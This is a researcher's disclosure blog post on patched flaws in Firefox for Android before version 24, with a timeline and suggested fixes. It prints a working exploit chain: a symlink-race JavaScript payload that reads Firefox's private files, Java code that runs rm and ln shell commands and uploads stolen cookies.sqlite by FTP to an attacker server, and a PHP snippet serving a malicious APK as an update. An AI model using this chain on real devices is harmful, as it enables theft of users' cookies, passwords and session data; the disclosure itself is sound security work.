Pardon sir, May I pwn your browser?

Mozilla Firefox by The Mozilla Foundation is a free and open source web browser. The browser has been developed for Windows, OS X, and Linux, with a mobile version developed for Android.

The main purpose of this article is to show some vulnerabilities recently found in the browser created for Android smartphones. The findings detailed below affect all Firefox Android browser versions below version 24, therefore it is is highly recommended that you update your application to ensure you are not running an outdated version that is suceptible to these vulnerabilities.

Firefox-for-Android-0xroot-was-here

The vulnerabilities were fixed by the Mozilla security team after they were discovered and reported. At the end of this article you can find the disclosure timeline as well as the exploit used to trigger the different flaws and a POC video recorded during the exploitation process.

I would like to take a moment to thank both my co-worker Marco Grassi (@marcograss) and the viaForensics (@viaforensics) R&D team.

A quick introduction

While the individual flaws described below don’t constitute a serious or critical vulnerability on their own, using them in combination with other vulnerabilities and exploits can result in the leaking of sensitive data.

Since we can’t trigger the vulnerability solely through a website that contains the malicious payload, this vulnerability itself is not an ideal attack scenario. However it is possible to embed an attack payload in a “friendly” user application. That application would be ready to be installed from Google Play or any other third-party market place, and is a realistic attack vector.

I have to admit that my initial idea was just to try a couple of things on Mozilla Firefox, however after some hours working on it new ideas came to me my research was extended to other famous browsers that are used on a day by day basis.

After discovering a finding on a browser, I sent an email to the developer’s respective security team and got answers worthy of framing, but that’s another story. Today I’d like to introduce each security flaw individually and explain how the flaws may be taken advantage of by an attacker to… pimp your browser.

 

Issue I – This is not the activity you were looking for

The AndroidManifest file used by Mozilla Firefox is really interesting. In there, one activity in particular caught my attention:

36 <activity android:theme="@style/Gecko.App" android:label="Firefox" android:name="App" 
android:launchMode="singleTask" android:configChanges="mcc|mnc|keyboard|keyboardHidden|orientation|
screenSize" android:windowSoftInputMode="adjustResize">
…
57 <intent-filter>
58 <action android:name="android.intent.action.VIEW" />
59 <category android:name="android.intent.category.BROWSABLE" />
60 <category android:name="android.intent.category.DEFAULT" />
61 <data android:scheme="file" />
62 <data android:scheme="http" />
63 <data android:scheme="https" />
64 <data android:mimeType="text/html" />
65 <data android:mimeType="text/plain" />
66 <data android:mimeType="application/xhtml+xml" />
67 </intent-filter>

Although it is not declared when exported, this activity makes use of an intent-filter which, by definition, specifies the types of intents that an activity, service, or broadcast receiver can respond to and basically declares the capabilities of its parent component. This opens the component to receiving intents of the advertised type while filtering out those that are not meaningful to the component.

In brief, this activity is exported. Furthermore it adds support to the ‘file’ scheme and the mimeType “text/html”, “text/plain” and “application/xhtml+xml”, which means that we can open a html, plain or xhtml+xml file located on our device. Are we on the same boat?.

With the activity described previously, we can force the browser to open any file ( supported by the scheme and mimeType mentioned earlier ) located under the path ‘/data/data/org.mozilla.firefox‘. Since the request is using Mozilla’s PID it is also trusted by the system.

Currently, everything seems normal. This behaviour should not pose a security concern for the users. What could possibly go wrong?

Let’s summarize our first finding. We now know that it is possible to open files with mimeTypes as text/html, text/plain or application/xhtml+xml located on the external storage or in the private folder used by Mozilla to deploy user’s information and data.

Issue II – Mr. JavaScript

The next thought that came to my mind was: How could it be possible to open and read those files supported by neither the scheme nor mimeType?

As you may know, most browsers use a sqlite database among other filetypes to store private data such as credentials, cookies, preferences, downloads, etc. That’s a nice vector attack. The files located under the sdcard can be exfiltrated for any app that requires the EXTERNAL_STORAGE permission, however the information used by an application remains private and accessible only by its owner. This is due to the Android Application Sandbox, which isolates the app data and code execution from other apps.

This does not pose an issue at all since we are running our test using Mozilla’s PID, however it is necessary to figure out how we can benefit from this situation in order to open any file located in Mozilla’s private folder.

If we can open a HTML file, it is much more likely that we can also load and execute JavaScript code. The File API included on HTML5 finally provides a standard way to interact with local files, yet there is an restriction with this API: we can’t automate the process and embed the file(s) that we would like to open. In this case, user interaction to manually choose the file is a necessity.

Although the following piece of code requires user interaction, it was fundamental for our research to progress due to the fact that we just discovered an alternative to extract the information on those files not supported by the scheme or mimeType:

<input type = "file" id = "fileinput" / >
 <script type = "text/javascript" >    
 function readSingleFile(evt) {
      //Retrieve the first (and only!) File from the FileList object
     var f = evt.target.files[0];
      alert(JSON.stringify(f));
     if (f) {
                 var r = new FileReader();
        r.onload = function (e) {
             var contents = e.target.result;
             alert("Got the file.n"
                  + "name: " + f.name + "n"
                  + "type: " + f.type + "n"
                  + "size: " + f.size + " bytesn"
                  + "starts with: " + contents.substr(1, contents.indexOf("n")) 16);
              alert("Contents.n" + contents);
         }
          r.readAsText(f);
     } else {
          alert("Failed to load file");
     }
 }
  document.getElementById('fileinput').addEventListener('change', readSingleFile, false);
  < /script>

Notwithstanding the argument that this solution is far from being definitive, the essence of this issue is that we found a way to open the restricted files and do whatever we want with their content.

Captura de pantalla 2013-10-01 a la(s) 17.17.02
Figure 1 – downloads.db file being printed


Issue III – I know your secrets

One of the security measures implemented in Firefox to protect user’s information is the use of a salted string as folder name. When the application is installed and executed for first time it deploys the following directories hierarchy:

root@mako:/data/data/org.mozilla.firefox # ls -l
drwxrwx--x u0_a108  u0_a108           2013-09-07 20:44 app_plugins
drwxrwx--x u0_a108  u0_a108           2013-09-07 20:44 app_plugins_private
drwxrwx--x u0_a108  u0_a108           2013-09-09 21:33 app_tmpdir
drwxrwx--x u0_a108  u0_a108           2013-09-18 13:18 cache
drwxrwx--x u0_a108  u0_a108           2013-09-07 20:44 files
lrwxrwxrwx install  install           2013-09-30 23:07 lib -> /data/app-lib/org.mozilla.firefox-2
drwx------ u0_a108  u0_a108           2013-09-07 20:44 res
drwxrwx--x u0_a108  u0_a108           2013-10-01 11:22 shared_prefs

Inside the files/mozilla directory there is a new directory generated at runtime when the user installs the application. In this case the name is 048dfjrb.default:

root@mako:/data/data/org.mozilla.firefox/files/mozilla # ls -la
drwx------ u0_a108  u0_a108           2013-09-19 00:00 048dfjrb.default
drwx------ u0_a108  u0_a108           2013-09-18 13:16 Crash Reports
-rw------- u0_a108  u0_a108       107 2013-09-07 20:44 profiles.ini
drwx------ u0_a108  u0_a108           2013-09-18 13:18 webapps

All the databases that contain sensitive information such as passwords, downloads, cookies, sessionstore, among other important information are stored on that path. Interesting huh?:

root@mako:/data/data/org.mozilla.firefox/files/mozilla/048dfjrb.default # ls -la

-rw------- u0_a108  u0_a108         0 2013-09-18 13:18 .parentlock
drwx------ u0_a108  u0_a108           2013-09-07 20:44 Cache
-rw------- u0_a108  u0_a108         1 2013-09-09 21:33 _CACHE_CLEAN_
-rw------- u0_a108  u0_a108     45381 2013-09-18 13:19 blocklist.xml
-rw-rw---- u0_a108  u0_a108    167936 2013-09-18 13:18 browser.db
-rw-rw---- u0_a108  u0_a108     32768 2013-09-18 13:18 browser.db-shm
-rw-rw---- u0_a108  u0_a108     32992 2013-09-18 13:18 browser.db-wal
-rw------- u0_a108  u0_a108    229376 2013-09-08 21:07 cert9.db
-rw------- u0_a108  u0_a108       184 2013-09-18 13:16 compatibility.ini
-rw------- u0_a108  u0_a108    131072 2013-09-09 00:10 cookies.sqlite
-rw------- u0_a108  u0_a108     32768 2013-09-19 00:00 cookies.sqlite-shm
-rw------- u0_a108  u0_a108    590288 2013-09-19 00:00 cookies.sqlite-wal
-rw------- u0_a108  u0_a108     98304 2013-09-09 21:33 downloads.sqlite
-rw------- u0_a108  u0_a108    196608 2013-09-07 20:44 formhistory.sqlite
-rw-rw---- u0_a108  u0_a108     73728 2013-09-18 13:55 health.db
-rw------- u0_a108  u0_a108     41552 2013-09-18 13:55 health.db-journal
drwx------ u0_a108  u0_a108           2013-09-08 21:07 indexedDB
-rw------- u0_a108  u0_a108    294912 2013-09-07 20:44 key4.db
-rw------- u0_a108  u0_a108       169 2013-09-07 20:44 localstore.rdf
lrwxrwxrwx u0_a108  u0_a108           2013-09-18 13:18 lock -> 127.0.0.1:+11285
drwx------ u0_a108  u0_a108           2013-09-07 20:44 minidumps
-rw------- u0_a108  u0_a108     65536 2013-09-18 13:19 permissions.sqlite
-rw------- u0_a108  u0_a108       886 2013-09-07 20:44 pkcs11.txt
-rw------- u0_a108  u0_a108      1725 2013-09-18 13:55 prefs.js
-rw------- u0_a108  u0_a108        91 2013-09-18 13:16 profile_info_cache.json
-rw------- u0_a108  u0_a108       546 2013-09-18 13:17 recommended-addons.json
drwx------ u0_a108  u0_a108           2013-09-19 00:00 safebrowsing
-rw------- u0_a108  u0_a108     10018 2013-09-08 21:07 search.json
-rw------- u0_a108  u0_a108       188 2013-09-18 13:16 sessionstore.bak
-rw------- u0_a108  u0_a108       244 2013-09-18 13:18 sessionstore.js
-rw------- u0_a108  u0_a108    327680 2013-09-07 20:44 signons.sqlite
drwx------ u0_a108  u0_a108           2013-09-18 13:20 startupCache
-rw------- u0_a108  u0_a108        27 2013-09-07 20:44 times.json
-rw------- u0_a108  u0_a108       154 2013-09-18 13:18 urlclassifierkey3.txt
-rw------- u0_a108  u0_a108     32768 2013-09-07 20:44 webappsstore.sqlite
-rw------- u0_a108  u0_a108     32768 2013-09-18 13:18 webappsstore.sqlite-shm
-rw------- u0_a108  u0_a108    295160 2013-09-08 21:35 webappsstore.sqlite-wal

But as you may notice, we can’t have remote access to those files if we don’t know the name previously used for the salted directory. Luckily for us there is a easter egg that Mozilla’s guys left for us – if only to make our exploitation process more simple. If you open the file profiles.ini located at /data/data/org.mozilla.firefox/files you can validate your free exploitation coupon for interesting information like:

[Profile0]
Path=048dfjrb.default
IsRelative=1
Default=1
Name=default


[General]
StartWithLastProfile=1

So… the salted number is stored on a file, and we can parse that file and obtain the specific string using our JavaScript snippet. Isn’t life wonderful sometimes?

Screenshot_2013-07-03-11-34-50
Figure 2 – profile.ini file being printed

Issue IV – One symlink to pwn them all

Let’s summarize our previous findings and discuss their respective obstacles:

  • Issue I – We’ve been able to launch Mozilla Firefox by passing as an argument the file to be loaded using the scheme ‘file://’. This allowed us to print any private file stored at /data/data/org.mozilla.firefox which has as MIME type:
    • text/html
    • text/plain
    • application/xhtml+xml

    The main impediment is that it’s not possible to print sqlite or binary files since their MIME type is not supported by default by the application. Nonetheless, this helped us to know that most sensitive information is stored in those files, so our primary goal since that moment has been to access to that information.

  • Issue II – Using the first vulnerability described earlier in combination with this new vector attack, we are now able to open a HTML file and load a malicious payload to perform undesired actions without user’s knowledge.

    We’ve used this approach to force the user to open a file and print its content. This makes it possible to circumvent the restriction experienced during the first stage of our attack, with the idea being that if we can load a JavaScript payload and force the browser to execute it, then we can perform whatever actions we want as the user.

    In this occasion we still require user’s interaction to open those files of interest, and apparently there isn’t a solution to open a local file that read another one due to Same Origin Policy (SOP) implemented in the browser.

    Since JavaScript execution is possible, we need to figure out a way to bypass the SOP mechanism and perform undesired actions without user’s knowledge, such as stealing all the files under the private folder.

  • Issue III – The sensitive information is stored in a folder that uses a salted string as name. This doesn’t pose an obstacle since we can retrieve the file from the profiles.ini resource and, using the vulnerabilities described previously, we can parse the file and obtain the string – allowing us to move forward with our attack

As we discussed previously, there are some security mechanisms that don’t allow us to leak all the files stored in Firefox private folder. One of these is the Same Origin Policy, which permits scripts running on pages originating from the same site – hostname, port number and scheme – to access each other’s methods and properties with no specific restrictions, however prevents access to most methods and properties across pages on different sites.

The approach used to bypass the SOP protection was to read the files by parsing their content. For this approach, the initial JavaScript snippet deployed on the device was used and iterated through the files at runtime using a symlink.

<body>
    <u>Wait a few seconds.</u>
    <script>
        function doitjs() {
            var xhr = new XMLHttpRequest;
            xhr.onload = function () {
                alert(xhr.responseText);
            };
            xhr.open('GET', document.URL);
            xhr.send(null);
        }
        setTimeout(doitjs, 8000);
    </script>
</body>

This was the initial script used which required a user’s interaction to perform the symlink operation. Basically, once you load this snippet in the browser it will read its content and will prompt the user with a pop-up which contains the data every certain seconds. We can iterate through the different files by launching this command in the phone:

We can iterate through the different files by launching this command in the phone:

$ ln -s #TARGET_FILE #PAYLOAD_PATH

Then:

  • Before xhr var refreshes the browser, the Android application will replace the malicious HTML file with a symlink pointing to any other file located at /sdcard or /data/data/org.mozilla.firefox.
  • When xhr triggers the attack, Mozilla Firefox follows the symlink and provides the file’s content specified by the symbolic link.

We thought that in order to represent a real risk for the user it was necessary to create something completely automated that didn’t require user’s interactions. This is why we are going to share the application created to trigger and exploit automatically this vulnerability: Source code

The most interesting parts are:

	public static class SymLinks {
		
		public static void replaceFileWithSymlink(String destination, String path) {
			CMDs.cmd("rm -rf " + path);
			createSymLink(destination, path);
		}
		
		private static void createSymLink(String destination, String path) {
			CMDs.cmd("ln -s " + destination + " " + path);
			CMDs.cmd("chmod 777 " + path);
		}
		
		public static void removeStuff(String path) {
			CMDs.cmd("rm -rf " + path);
		}
	}
Utils.java – Symlinks class, created to perform the symbolic links operations
Utils.java

	public static class WebSockets {
		
		public static void setup() {
			java.lang.System.setProperty("java.net.preferIPv6Addresses", "false");
			java.lang.System.setProperty("java.net.preferIPv4Stack", "true");
		}
		
		public static void cleanup() {
			
		}
	}

payload.html

<script type="text/javascript">
	var ws = new WebSocket('ws://localhost:8887');
	
	function getFile(tag) {
				
		var d = document;
				
		var xhr = new XMLHttpRequest;
		
		var txt = '';
		
		xhr.onload = function() {
						
			if (tag != 'msg1'){
				var arrayBuffer = xhr.response;
				if (arrayBuffer) {
					var byteArray = new Uint8Array(arrayBuffer);
					var b64encoded = btoa(String.fromCharCode.apply(null, byteArray));
					txt = b64encoded;
				}
				
			} else {
				txt = xhr.responseText;
			}
			
			txt = tag + txt;
			//alert('sending text for tag' + tag + ' ' + txt);
			ws.send(txt);
			
		};
		//alert('requested file for tag: ' + tag);
		if (tag != 'msg1') {
			xhr.open('GET', d.URL, true);
			xhr.responseType = "arraybuffer";
		} else {
			xhr.open('GET', d.URL);
		}
		
		xhr.send(null);
	}
	
	
	ws.onopen = function() {
		ws.send('sym');
	}
	ws.onmessage = function(e) {
		var tag = e.data;
		getFile(tag)
	}
	ws.onclose = function() {
		
	}
</script>
Utils.java & payload.html – Used together to leak the sensitive information


As you can see we are opening a socket in the Java code to send the information retrieved by the payload.html to a third party server controlled by the attacker. Last but not least, the snippet where we indicate the files that we want to retrieve:

ContentReceiverServer.java

...
if (message.startsWith("sym")) {
			String firstPayloadPath = JSPayloads.getPathForPayload(mContext, JSPayloads.FIRST_PAYLOAD);
			Utils.SymLinks.replaceFileWithSymlink(Utils.Firefox.PATH_PROFILES_INI, firstPayloadPath);
                        ....
             
} else if (message.startsWith("msg1")) {
			// profiles.ini received [*]intentionally deleted[*] we parse it
			String firstPayloadPath = JSPayloads.getPathForPayload(mContext, JSPayloads.FIRST_PAYLOAD);
			Utils.SymLinks.removeStuff(firstPayloadPath);
			int startindex = message.indexOf("Path=");
			int endindex = message.indexOf(".default");
			String salt = message.substring(startindex + 5, endindex);
			Log.d(TAG, "got Salted value " + salt);
                        ....

} else if (message.startsWith("msg2")) {
			// cookies.sqlite
			String firstPayloadPath = JSPayloads.getPathForPayload(mContext, JSPayloads.FIRST_PAYLOAD);
			Utils.SymLinks.removeStuff(firstPayloadPath);
			String realMessage = message.substring(4);
			Log.e(TAG, realMessage);
			FTPTask ftpTask = new FTPTask();
			ftpTask.execute(realMessage, lastSaltedValue + "-" + "cookies.sqlite");
                        ....
....
ContentReceiverServer.java – Where all the magic happens


Issue V – Buy four, get the fifth FREE!

As you may notice, there is an important piece in this exploitation process: it’s not fully remote because it requires user interaction in order to download and install the malicious application. While it may be true that we can use social engineering and trick the user to do all the process without too much difficulty, if there is another vulnerability that can help us in our exploitation chain… why not use that instead?

After analyzing the UpdateService.java file, we can find interesting functions and intents used by the application to trigger the update process. This process is also vulnerable to the symlink attack, so an attacker can take advantage of this flag in order to change the downloaded APK for another APK with a malicious behavior. Although we didn’t include an exploit for this issue in our initial app, it may be possible to find some PoCs out there.

Moreover, there is a lack of validation in the Content-Type mechanism implemented in the browser. If this flaw is made public in the Android Security community, it could allow a remote attacker to send an application directly to the installer as if it was downloaded with Firefox directly.

The code to take advantage of this issue, as shown below, was used in combination with the findings discussed earlier in order to generate a fake updated version of Firefox:

<?php
    header('Content-Type: application/vnd.android.package-archive');
    header('Content-Disposition: attachment; filename="bunnies_can_fly.apk"');
    readfile('bunnies_can_fly.apk');
?>


How to solve this mess

Not everything in our life will be geared towards destroying applications. Obviously there are multiple solutions that could be implemented to fix these issues. For example, the case at hand has three significant flaws in my opinion. Let’s suggest a possible solution for each of them:

  • First, the salted string used as the private folder’s name is stored on a file. Additionally, it is possible to retrieve this value by reading the logs once the application has been installed. This is a great example on how not to make things. Sensitive information should not be displayed on logs, and in case of need, the file containing the user’s profile information should be ciphered. At the very least doing so would considerably reduce the impact of this chained attack.
    Captura de pantalla 2013-10-02 a la(s) 01.45.01
    Figure 3 – HEEYY! Look at me, look at me, I’m here! (A wild salted string appeared, praying for its attention).
  • Secondly, it is extremely important to avoid opening files stored on the sdcard. Solutions may involve using whitelists or only opening files underneath file:///sdcard, since these are (supposedly) the only files intended to be public on the device. Below is the solution deployed by the Google Chrome browser to avoid this attack.
    #elif defined(OS_ANDROID)
      // Access to files in external storage is allowed.
      base::FilePath external_storage_path;
      PathService::Get(base::DIR_ANDROID_EXTERNAL_STORAGE, &external_storage_path);
      if (external_storage_path.IsParent(path))
        return true;
    
      // Whitelist of other allowed directories.
      static const char* const kLocalAccessWhiteList[] = {
          "/sdcard",
          "/mnt/sdcard",
      };
    #endif
    
  • Last (but definitely not least), GooglePlay implemented a ban for applications who deployed their own update-system – precisely to avoid vulnerabilities such as this.


Disclosure Timeline

2013-06-20: Initial vulnerabilities discovered.
2013-06-25: Confirmed all findings internally.
2013-07-03: Emailed security [at] mozilla [dot] com.
2013-07-10: Internal ticket opened in bugzilla.

2013-07-23: Vulnerability confirmed and awarded by their Bug Bounty Program.
2013-09-18: Marked as resolved by Mozilla.
2013-09-20: Contacted by Android Police.
2013-10-02: This report and vulnerability goes to public.

Resources

In case you were looking for the resources used to exploit this vulnerability, you can clone the repository created specially for this vulnerability on GitHub:

Also, a video was recorded while I was performing this research: